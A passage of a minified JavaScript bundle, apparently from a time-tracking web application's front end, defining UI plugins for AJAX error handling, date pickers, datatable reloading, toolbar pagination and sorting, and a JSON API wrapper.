0!==h.children[o]&&(t?h.children[o].classList.remove("hidden"):h.children[o].classList.add("hidden"))}}catch(e){f.e(e)}finally{f.f()}}}catch(e){r.e(e)}finally{r.f()}}}])&&O(t.prototype,n),r&&O(t,r),a}(c);function R(e){return(R="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function I(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function W(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function N(e,t){return(N=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function $(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=z(e);if(t){var i=z(this).constructor;n=Reflect.construct(r,arguments,i)}else n=r.apply(this,arguments);return F(this,n)}}function F(e,t){return!t||"object"!==R(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function z(e){return(z=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var B=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&N(e,t)}(a,e);var t,n,r,i=$(a);function a(){return I(this,a),i.apply(this,arguments)}return t=a,(n=[{key:"init",value:function(){this.registerGlobalAjaxErrorHandler(),this.registerAutomaticAlertRemove("div.alert-success",5e3),T()(".dropdown-toggle").dropdown(),T()('[data-toggle="tooltip"]').tooltip(),this.getContainer().getPlugin("form").activateForm(".content-wrapper form","body"),this.getContainer().getPlugin("form").activateForm("form.searchform","body")}},{key:"registerGlobalAjaxErrorHandler",value:function(){var e=this.getConfiguration("login"),t=this.getContainer().getPlugin("alert"),n=this.getContainer().getTranslation().get("login.required");T()(document).ajaxError((function(r,i,a,o){void 0!==i.status&&403===i.status&&null!==i.getResponseHeader("login-required")&&t.question(n,(function(t){!0===t&&window.location.replace(e)}))}))}},{key:"registerAutomaticAlertRemove",value:function(e,t){var n=this;this._alertRemoveHandler=setInterval((function(){n.hideAlert(e)}),t)}},{key:"unregisterAutomaticAlertRemove",value:function(){clearInterval(this._alertRemoveHandler)}},{key:"hideAlert",value:function(e){T()(e).alert("close")}}])&&W(t.prototype,n),r&&W(t,r),a}(c);function q(e){return(q="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function U(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function J(e,t){return(J=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function V(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=K(e);if(t){var i=K(this).constructor;n=Reflect.construct(r,arguments,i)}else n=r.apply(this,arguments);return G(this,n)}}function G(e,t){return!t||"object"!==q(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function K(e){return(K=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var Z=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&J(e,t)}(o,e);var t,n,r,a=V(o);function o(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,o),(t=a.call(this)).selector=e,t}return t=o,(n=[{key:"getId",value:function(){return"date-range-picker"}},{key:"activateDateRangePicker",value:function(e){var t=this.getContainer().getTranslation(),n=this.getContainer().getPlugin("date"),r=this.getConfiguration("first_dow_iso")%7;T()(e+" "+this.selector).each((function(e){var a=T()(this).data("format"),o=T()(this).data("separator"),s={};s[t.get("today")]=[i()(),i()()],s[t.get("yesterday")]=[i()().subtract(1,"days"),i()().subtract(1,"days")],s[t.get("thisWeek")]=[i()().startOf("isoWeek"),i()().endOf("isoWeek")],s[t.get("lastWeek")]=[i()().subtract(1,"week").startOf("isoWeek"),i()().subtract(1,"week").endOf("isoWeek")],0===r&&(s[t.get("thisWeek")]=[i()().startOf("isoWeek").subtract(1,"day"),i()().endOf("isoWeek").subtract(1,"day")],s[t.get("lastWeek")]=[i()().subtract(1,"week").startOf("isoWeek").subtract(1,"day"),i()().subtract(1,"week").endOf("isoWeek").subtract(1,"day")]),s[t.get("thisMonth")]=[i()().startOf("month"),i()().endOf("month")],s[t.get("lastMonth")]=[i()().subtract(1,"month").startOf("month"),i()().subtract(1,"month").endOf("month")],s[t.get("thisYear")]=[i()().startOf("year"),i()().endOf("year")],s[t.get("lastYear")]=[i()().subtract(1,"year").startOf("year"),i()().subtract(1,"year").endOf("year")],T()(this).daterangepicker({showDropdowns:!0,autoUpdateInput:!1,autoApply:!1,linkedCalendars:!0,locale:{separator:o,format:a,firstDay:r,applyLabel:t.get("confirm"),cancelLabel:t.get("cancel"),customRangeLabel:t.get("customRange"),daysOfWeek:n.getWeekDaysShort(),monthNames:n.getMonthNames()},ranges:s,alwaysShowCalendars:!0}),T()(this).on("apply.daterangepicker",(function(e,t){T()(this).val(t.startDate.format(a)+" - "+t.endDate.format(a)),T()(this).data("begin",t.startDate.format(a)),T()(this).data("end",t.endDate.format(a)),T()(this).trigger("change")}))}))}},{key:"destroyDateRangePicker",value:function(e){T()(e+" "+this.selector).each((function(e){void 0!==T()(this).data("daterangepicker")&&(T()(this).daterangepicker("destroy"),T()(this).data("daterangepicker").remove())}))}}])&&U(t.prototype,n),r&&U(t,r),o}(c);n(3123),n(7327),n(9826);function X(e){return(X="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Q(e,t){var n="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!n){if(Array.isArray(e)||(n=function(e,t){if(!e)return;if("string"==typeof e)return ee(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return ee(e,t)}(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var r=0,i=function(){};return{s:i,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:i}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var a,o=!0,s=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next();return o=e.done,e},e:function(e){s=!0,a=e},f:function(){try{o||null==n.return||n.return()}finally{if(s)throw a}}}}function ee(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function te(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function ne(e,t){return(ne=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function re(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=ae(e);if(t){var i=ae(this).constructor;n=Reflect.construct(r,arguments,i)}else n=r.apply(this,arguments);return ie(this,n)}}function ie(e,t){return!t||"object"!==X(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function ae(e){return(ae=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var oe=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&ne(e,t)}(a,e);var t,n,r,i=re(a);function a(e,t){var n;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,a),(n=i.call(this)).contentArea=e,n.selector=t,n}return t=a,(n=[{key:"getId",value:function(){return"datatable"}},{key:"init",value:function(){var e=document.querySelector(this.selector);if(null!==e){var t=e.dataset.reloadEvent;if(this.fixDropdowns(),void 0!==t){var n,r=this,i=function(){r.reloadDatatable()},a=Q(t.split(" "));try{for(a.s();!(n=a.n()).done;){var o=n.value;document.addEventListener(o,i)}}catch(e){a.e(e)}finally{a.f()}document.addEventListener("pagination-change",i),document.addEventListener("filter-change",i)}}}},{key:"reloadDatatable",value:function(){var e=this,t=this.contentArea,n=this.getContainer().getPlugin("timesheet-duration"),r=this.getContainer().getPlugin("toolbar").getSelector(),i=T()(r);T()(t).append('<div class="overlay"><i class="fas fa-sync fa-spin"></i></div>');var a=T()(r+" :input").filter((function(e,t){return""!==T()(t).val()})).serialize();T().ajax({url:i.attr("action"),type:i.attr("method"),data:a,success:function(r){T()(t).replaceWith(T()(r).find(t)),n.updateRecords(),e.fixDropdowns()},error:function(e,t){i.submit()}})}},{key:"fixDropdowns",value:function(){var e=T()(document).height();T()(this.selector+" [data-toggle=dropdown]").each((function(){var t=T()(this).parent(),n=t.find(".dropdown-menu");t&&n&&t.offset().top+t.outerHeight()+n.outerHeight()>e&&t.addClass("dropup").removeClass("dropdown")}))}}])&&te(t.prototype,n),r&&te(t,r),a}(c);function se(e){return(se="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function le(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function ue(e,t){return(ue=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function ce(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=fe(e);if(t){var i=fe(this).constructor;n=Reflect.construct(r,arguments,i)}else n=r.apply(this,arguments);return de(this,n)}}function de(e,t){return!t||"object"!==se(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function fe(e){return(fe=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var he=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&ue(e,t)}(a,e);var t,n,r,i=ce(a);function a(e,t){var n;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,a),(n=i.call(this)).formSelector=e,n.actionClass=t,n}return t=a,(n=[{key:"getId",value:function(){return"toolbar"}},{key:"init",value:function(){var e=this.getSelector(),t=this,n=t.getContainer().getPlugin("event");this._registerPagination(e,n),this._registerSortableTables(e,n),this._registerAlternativeSubmitActions(e,this.actionClass),T()(e+" input").change((function(n){switch(n.target.id){case"order":case"orderBy":case"page":break;default:T()(e+" input#page").val(1)}t.triggerChange()})),T()(e+" select").change((function(n){var r=!0;switch(n.target.id){case"customer":T()(e+" select#project").length>0&&(r=!1);break;case"project":T()(e+" select#activity").length>0&&(r=!1)}T()(e+" input#page").val(1),r&&t.triggerChange()}))}},{key:"_registerAlternativeSubmitActions",value:function(e,t){document.addEventListener("click",(function(n){for(var r=n.target;null!==r&&!r.matches("body");){if(r.classList.contains(t)){var i=document.querySelector(e);if(null===i)return;var a=i.action,o=i.method;i.target="_blank",i.action=r.href,void 0!==r.dataset.method&&(i.method=r.dataset.method),i.submit(),i.target="",i.action=a,i.method=o,n.preventDefault(),n.stopPropagation()}r=r.parentNode}}))}},{key:"_registerSortableTables",value:function(e,t){T()("body").on("click","th.sortable",(function(n){var r=T()(n.target),i="DESC",a=r.data("order");r.hasClass("sorting_desc")&&(i="ASC"),T()(e+" #orderBy").val(a),T()(e+" #order").val(i),T()(e+" #orderBy").trigger("change"),T()(e+" #order").trigger("change"),t.trigger("filter-change")}))}},{key:"_registerPagination",value:function(e,t){T()("body").on("click","div.navigation ul.pagination li a",(function(n){var r=T()(e+" input#page");if(0!==r.length){n.preventDefault(),n.stopPropagation();var i=T()(this).attr("href").split("/"),a=i[i.length-1];return r.val(a),r.trigger("change"),t.trigger("pagination-change"),!1}}))}},{key:"triggerChange",value:function(){this.getContainer().getPlugin("event").trigger("toolbar-change")}},{key:"getSelector",value:function(){return this.formSelector}}])&&le(t.prototype,n),r&&le(t,r),a}(c);function me(e){return(me="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function pe(e,t){var n="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!n){if(Array.isArray(e)||(n=function(e,t){if(!e)return;if("string"==typeof e)return _e(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return _e(e,t)}(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var r=0,i=function(){};return{s:i,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:i}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var a,o=!0,s=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next();return o=e.done,e},e:function(e){s=!0,a=e},f:function(){try{o||null==n.return||n.return()}finally{if(s)throw a}}}}function _e(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function ye(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function ge(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function ve(e,t){return(ve=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function be(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=Me(e);if(t){var i=Me(this).constructor;n=Reflect.construct(r,arguments,i)}else n=r.apply(this,arguments);return we(this,n)}}function we(e,t){return!t||"object"!==me(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function Me(e){return(Me=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var Le=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&ve(e,t)}(a,e);var t,n,r,i=be(a);function a(){return ye(this,a),i.apply(this,arguments)}return t=a,(n=[{key:"getId",value:function(){return"api"}},{key:"get",value:function(e,t,n,r){T().ajax({url:e,headers:{"X-AUTH-SESSION":!0,"Content-Type":"application/json"},method:"GET",data:t,dataType:"json",success:n,error:r})}},{key:"post",value:function(e,t,n,r){null==r&&(r=this.getPostErrorHandler()),T().ajax({url:e,headers:{"X-AUTH-SESSION":!0,"Content-Type":"application/json"},method:"POST",data:t,dataType:"json",success:n,error:r})}},{key:"patch",value:function(e,t,n,r){null==r&&(r=this.getPatchErrorHandler()),T().ajax({url:e,headers:{"X-AUTH-SESSION":!0,"Content-Type":"application/json"},method:"PATCH",data:t,dataType:"json",success:n,error:r})}},{key:"delete",value:function(e,t,n){null==n&&(n=this.getDeleteErrorHandler()),T().ajax({url:e,headers:{"X-AUTH-SESSION":!0,"Content-Type":"application/json"},method:"DELETE",dataType:"json",success:t,error:n})}},{key:"getDeleteErrorHandler",value:function(){var e=this;return function(t,n){e.handleError("action.delete.error",t,n)}}},{key:"getPatchErrorHandler",value:function(){var e=this;return function(t,n){e.handleError("action.update.error",t,n)}}},{key:"getPostErrorHandler",value:function(){var e=this;return function(t,n){e.handleError("action.update.error",t,n)}}},{key:"handleError",value:function(e,t,n){var r=n;if(t.responseJSON&&t.responseJSON.message){if(r=t.responseJSON.message,400===t.status&&t.responseJSON.errors){var i=["<u>"+r+"</u>"];if(t.responseJSON.errors.errors){var a,o=pe(t.responseJSON.errors.errors);try{for(o.s();!(a=o.n()).done;){var s=a.value;i.push(s)}}catch(n){o.e(n)}finally{o.f()}}if(t.responseJSON.errors.children)for(var l in t.responseJSON.errors.children){var u=t.responseJSON.errors.children[l];if(u.hasOwnProperty("errors")&&u.errors.length>0){var c,d=pe(u.errors);try{for(d.s();!(c=d.n()).done;){var f=c.value;i.push(f)}}catch(n){d.e(n)}finally{d.f()}}}i.length>0&&(r=i)}}else t.status&&t.statusText&&(r="["+t.status+"] "+t.statusText);this.getPlugin("alert").error(e,r)}}])&&ge(t.prototype,n),r&&ge(t,r),a}(c);n(4747),n(4723),n(9600),n(7941);function ke(e){return(ke="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Ye(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=e&&("undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"]);if(null==n)return;var r,i,a=[],o=!0,s=!1;try{for(n=n.call(e);!(o=(r=n.next()).done)&&(a.push(r.value),!t||a.length!==t);o=!0);}catch(e){s=!0,i=e}finally{try{o||null==n.return||n.return()}finally{if(s)throw i}}return a}(e,t)||De(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function De(e,t){if(e){if("string"==typeof e)return Te(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?Te(e,t):void 0}}function Te(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function xe(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Se(e,t){return(Se=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function je(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=Ce(e);if(t){var i=Ce(this).constructor;n=Reflect.construct(r,arguments,i)}else n=r.apply(this,arguments);return Oe(this,n)}}function Oe(e,t){return!t||"object"!==ke(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function Ce(e){return(Ce=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var He=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&Se(e,t)}(o,e);var t,n,r,a=je(o);function o(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,o),(t=a.call(this)).selector=e,t}return t=o,(n=[{key:"getId",value:function(){return"select-data-api"}},{key:"init",value:function(){this.activateApiSelects(this.selector)}},{key:"activateApiSelects",value:function(e){var t=this,n=this.getContainer().getPlugin("api");T()("body").on("change",e,(function(e){var r="#"+this.dataset.relatedSelect;if(0!==T()(r).length){var i=T()(this).parents("form").first().attr("name");null==i?i="":i+="_";var a=t._buildUrlWithFormFields(this.dataset.apiUrl,i),o=T()(this).val();if(null==o||""===o||Array.isArray(o)&&0===o.length){if(void 0===this.dataset.emptyUrl)return t._updateSelect(r,{}),void T()(r).attr("disabled","disabled");a=t._buildUrlWithFormFields(this.dataset.emptyUrl,i)}T()(r).removeAttr("disabled"),n.get(a,{},(function(e){t._updateSelect(r,e)}))}}))}},{key:"_buildUrlWithFormFields",value:function(e,t){var n=e;return e.split("?")[1].split("&").forEach((function(e){var r=Ye(e.split("="),2),a=r[0],o=r[1],s=decodeURIComponent(o).match(/%(.*)%/);if(null!==s){var l=T()("#"+t+s[1]),u="";0===l.length||null!==l.val()&&""!==(u=l.val())&&(void 0!==l.data("daterangepicker")?"begin"===a||"start"===a||l.data("daterangepicker").singleDatePicker?u=l.data("daterangepicker").startDate.format(i().HTML5_FMT.DATETIME_LOCAL_SECONDS):"end"===a&&(u=l.data("daterangepicker").endDate.format(i().HTML5_FMT.DATETIME_LOCAL_SECONDS)):void 0!==l.data("format")&&i()(u,l.data("format")).isValid()&&(u=i()(u,l.data("format")).format(i().HTML5_FMT.DATETIME_LOCAL_SECONDS))),Array.isArray(u)&&(u=u.join(",")),n=n.replace(o,u)}})),n}},{key:"_updateSelect",value:function(e,t){var n,r={},i=function(e,t){var n="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!n){if(Array.isArray(e)||(n=De(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var r=0,i=function(){};return{s:i,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:i}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var a,o=!0,s=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next();return o=e.done,e},e:function(e){s=!0,a=e},f:function(){try{o||null==n.return||n.return()}finally{if(s)throw a}}}}(t);try{for(i.s();!(n=i.n()).done;){var a=n.value,o="__empty__";a.hasOwnProperty("parentTitle")&&null!==a.parentTitle&&(o=a.parentTitle),r.hasOwnProperty(o)||(r[o]=[]),r[o].push(a)}}catch(e){i.e(e)}finally{i.f()}var s={};Object.keys(r).sort().forEach((function(e){s[e]=r[e]})),this.getContainer().getPlugin("form-select").updateOptions(e,s)}}])&&xe(t.prototype,n),r&&xe(t,r),o}(c);function Ee(e){return(Ee="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Pe(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Ae(e,t){return(Ae=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function Re(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=We(e);if(t){var i=We(this).constructor;n=Reflect.construct(r,arguments,i)}else n=r.apply(this,arguments);return Ie(this,n)}}function Ie(e,t){return!t||"object"!==Ee(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function We(e){return(We=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var Ne=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&Ae(e,t)}(a,e);var t,n,r,i=Re(a);function a(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,a),(t=i.call(this)).selector=e,t}return t=a,(n=[{key:"getId",value:function(){return"date-time-picker"}},{key:"activateDateTimePicker",value:function(e){var t=this.getContainer().getTranslation(),n=this.getContainer().getPlugin("date"),r=this.getConfiguration("first_dow_iso")%7,i=this.getConfiguration("twentyFourHours");T()(e+" "+this.selector).each((function(e){var a=T()(this).data("format");T()(this).daterangepicker({singleDatePicker:!0,timePicker:!0,timePicker24Hour:i,showDropdowns:!0,autoUpdateInput:!1,locale:{format:a,firstDay:r,applyLabel:t.get("confirm"),cancelLabel:t.get("cancel"),customRangeLabel:t.get("customRange"),daysOfWeek:n.getWeekDaysShort(),monthNames:n.getMonthNames()}}),T()(this).on("apply.daterangepicker",(function(e,t){T()(this).val(t.startDate.format(a)),T()(this).trigger("change")}))}))}},{key:"destroyDateTimePicker",value:function(e){T()(e+" "+this.selector).each((function(e){void 0!==T()(this).data("daterangepicker")&&(T()(this).daterangepicker("destroy"),T()(this).data("daterangepicker").remove())}))}}])&&Pe(t.prototype,n),r&&Pe(t,r),a}(c);function $e(e){return($e="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Fe(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function ze(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Be(e,t){return(Be=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function qe(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=Je(e);if(t){var i=Je(this).constructor;n=Reflect.construct(r,arguments,i)}else n=r.apply(this,arguments);return Ue(this,n)}}function Ue(e,t){return!t||"object"!==$e(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function Je(e){return(Je=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var Ve=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&Be(e,t)}(a,e);var t,n,r,i=qe(a);function a(){return Fe(this,a),i.apply(this,arguments)}return t=a,(n=[{key:"_addClickHandler",value:function(e,t){T()("body").on("click",e,(function(e){if(!e.target.parentNode.isContentEditable&&!e.target.isContentEditable){var n=e.target;if(e.currentTarget.matches("tr")||e.currentTarget.matches("li"))for(;null!==n&&!n.matches("body");){if(n.matches("a")||n.matches("button")||n.matches("input"))return;n=n.parentNode}e.preventDefault(),e.stopPropagation();var r=T()(this).attr("data-href");r||(r=T()(this).attr("href")),null!=r&&""!==r&&t(r)}}))}}])&&ze(t.prototype,n),r&&ze(t,r),a}(c);function Ge(e){return(Ge="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Ke(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Ze(e,t){return(Ze=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function Xe(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=et(e);if(t){var i=et(this).constructor;n=Reflect.construct(r,arguments,i)}else n=r.apply(this,arguments);return Qe(this,n)}}function Qe(e,t){return!t||"object"!==Ge(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return 